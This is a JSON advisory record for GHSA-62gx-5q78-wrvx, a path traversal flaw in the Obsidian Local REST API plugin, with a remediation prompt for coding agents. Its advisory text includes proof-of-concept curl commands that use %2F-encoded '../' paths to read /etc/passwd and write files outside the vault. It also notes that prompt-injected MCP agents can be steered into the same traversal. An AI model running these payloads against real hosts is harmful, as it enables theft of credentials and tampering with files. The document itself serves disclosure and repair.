{"answers":{"affected":"2 open source packages ship an affected version, including obsidian-local-rest-api.","exploited":"There is no known exploitation of GHSA-62gx-5q78-wrvx in the wild and no public exploit code.","fix":"No fix has been published for GHSA-62gx-5q78-wrvx yet. Limit exposure of the affected software until one is available.","what":"GHSA-62gx-5q78-wrvx is a path traversal vulnerability in obsidian-local-rest-api, published on 15 Jul 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-62gx-5q78-wrvx and fix it if it is affected.\n\nWhat it is: GHSA-62gx-5q78-wrvx is a path traversal vulnerability in obsidian-local-rest-api, published on 15 Jul 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-62gx-5q78-wrvx in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- obsidian-local-rest-api (npm): affected all versions; no fix listed\n- obsidian-local-rest-api (npm): affected all versions; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-62gx-5q78-wrvx/ (Markdown: https://insights.sbomify.com/GHSA-62gx-5q78-wrvx/index.md)","id":"GHSA-62gx-5q78-wrvx","markdown":"https://insights.sbomify.com/GHSA-62gx-5q78-wrvx/index.md","name":"GHSA-62gx-5q78-wrvx","record":{"aliases":[],"analysis":{"component_type":"desktop_application","fix_type":"patch","impacts":["data_read","data_modify"],"network_reachable":"yes","non_default_config":false,"product_category":"Obsidian plugin","requires_auth":"low_privilege","summary":"Authenticated attackers can read, write, or delete arbitrary host files via path traversal in the Obsidian Local REST API plugin.","user_interaction":"not_required","vuln_class":"path_traversal"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nThe Local REST API's `/vault/{path}` endpoints (GET/PUT/PATCH/POST/DELETE) percent-decode the request path *inside the handler — after* Express has already routed and normalized it, then hand it to the Obsidian vault adapter with no confinement check. A literal `../` is resolved/rejected at the routing layer (→ 404), but `%2F` is not a separator there, so `..%2F..%2F` survives routing and is only turned into a real `/` by the handler's `decodeURIComponent`, reconstituting a `../` traversal that walks out of the vault. An **authenticated** client can read, write, or delete **arbitrary files on the host** with the Obsidian process's privileges.\n\n### Details\n**Framework:** Express (`import express from \"express\"`; routes registered via `this.api.route(\"/vault/*\")…`).\n\n**The vulnerable line** — in `src/requestHandler.ts`, every vault handler (`vaultGet`, `vaultPut`, `vaultPatch`, `vaultPost`, `vaultDelete`) derives the path like this:\n  ```ts\n  const rawPath = decodeURIComponent(\n    req.path.slice(req.path.indexOf(\"/\", 1) + 1),\n  );\n  ```\nThe path is `decodeURIComponent`'d **after** Express routing. A literal `../` is collapsed/rejected at the routing layer, but `%2F` isn't a separator there — so `..%2F..%2F` reaches the handler intact and this `decodeURIComponent` turns it into a real `../../`. **The string routing saw (`…%2F…`) is not the string the handler uses (`…/…`)**, and `%2e%2e` behaves the same way.\n\n**No confinement on the decoded path.** The handlers pass `rawPath` straight to the vault adapter — e.g. `this.app.vault.adapter.readBinary(filePath)` / `this.app.vault.getAbstractFileByPath(filePath)` — with no `path.resolve` + vault-root prefix check, so the reconstituted `../../` escapes.\n\n**The fix already exists in your code — for MOVE only.** `vaultMove` confines correctly:\n  ```ts\n  const syntheticRoot = \"/vault\";\n  const resolved = posix.resolve(syntheticRoot, normalized);\n  if (resolved !== syntheticRoot \u0026\u0026 !resolved.startsWith(syntheticRoot + \"/\")) {\n    this.returnCannedResponse(res, { errorCode: ErrorCode.PathTraversalNotAllowed });\n    return;\n  }\n  ```\nGET/PUT/PATCH/POST/DELETE lack this guard. **Apply the same `posix.resolve(syntheticRoot, …)` + `startsWith` check to the decoded path in every vault handler**, and reject any segment that decodes to `..`.\n\n### PoC\nPrereq: a running Obsidian with the Local REST API plugin enabled and its configured API key (`$API_KEY`). Targets below are Unix; adjust per OS (e.g. `..%2F..%2FWindows%2Fwin.ini` on Windows).\n\n  ```bash\n  # READ outside the vault (returns 200 + the target file's real bytes):\n  curl --path-as-is -k -H \"Authorization: Bearer $API_KEY\" \\\n    \"https://127.0.0.1:27124/vault/..%2F..%2F..%2F..%2Fetc%2Fpasswd\"\n\n  # WRITE outside the vault (creates a file on disk outside the vault root):\n  curl --path-as-is -k -X PUT -H \"Authorization: Bearer $API_KEY\" --data \"pwned\" \\\n    \"https://127.0.0.1:27124/vault/..%2F..%2F..%2Ftmp%2Fcanary.txt\"\n  ```\n\n`--path-as-is` stops curl from collapsing `..` client-side. A plain `../` (unencoded) request returns 404 — only the `%2F`/`%2e%2e` encoded form bypasses, confirming the decode-after-routing gap.\n\n### Impact\nAuthenticated arbitrary file **read / write / delete** outside the Obsidian vault, with the OS privileges of the Obsidian process — typically the user's home directory (SSH keys, browser profiles, dotfiles, credentials). Amplified in MCP/LLM-agent deployments: this API is widely used as an MCP server, so a prompt-injection in vault content (or a malicious MCP client) can make an agent emit a `%2F` path — turning \"the agent can edit my notes\" into \"the agent can read/write any file on the host,\" with no user intent to grant filesystem access beyond the vault.\n\nThis vulnerability was reported by Caleb Brisbin through responsible disclosure.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"The Local REST API's `/vault/{path}` endpoints (GET/PUT/PATCH/POST/DELETE) percent-decode the request path *inside the handler —","id":"GHSA-62gx-5q78-wrvx","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"path_traversal","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"obsidian-local-rest-api","purl":null,"source":"GHSA-62gx-5q78-wrvx"},{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"obsidian-local-rest-api","purl":"pkg:npm/obsidian-local-rest-api","source":"GHSA-62gx-5q78-wrvx"}],"products":null,"published":"2026-07-15","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Authenticated attackers can read, write, or delete arbitrary host files via path traversal in the Obsidian Local REST API plugin.","url":"https://insights.sbomify.com/GHSA-62gx-5q78-wrvx/"}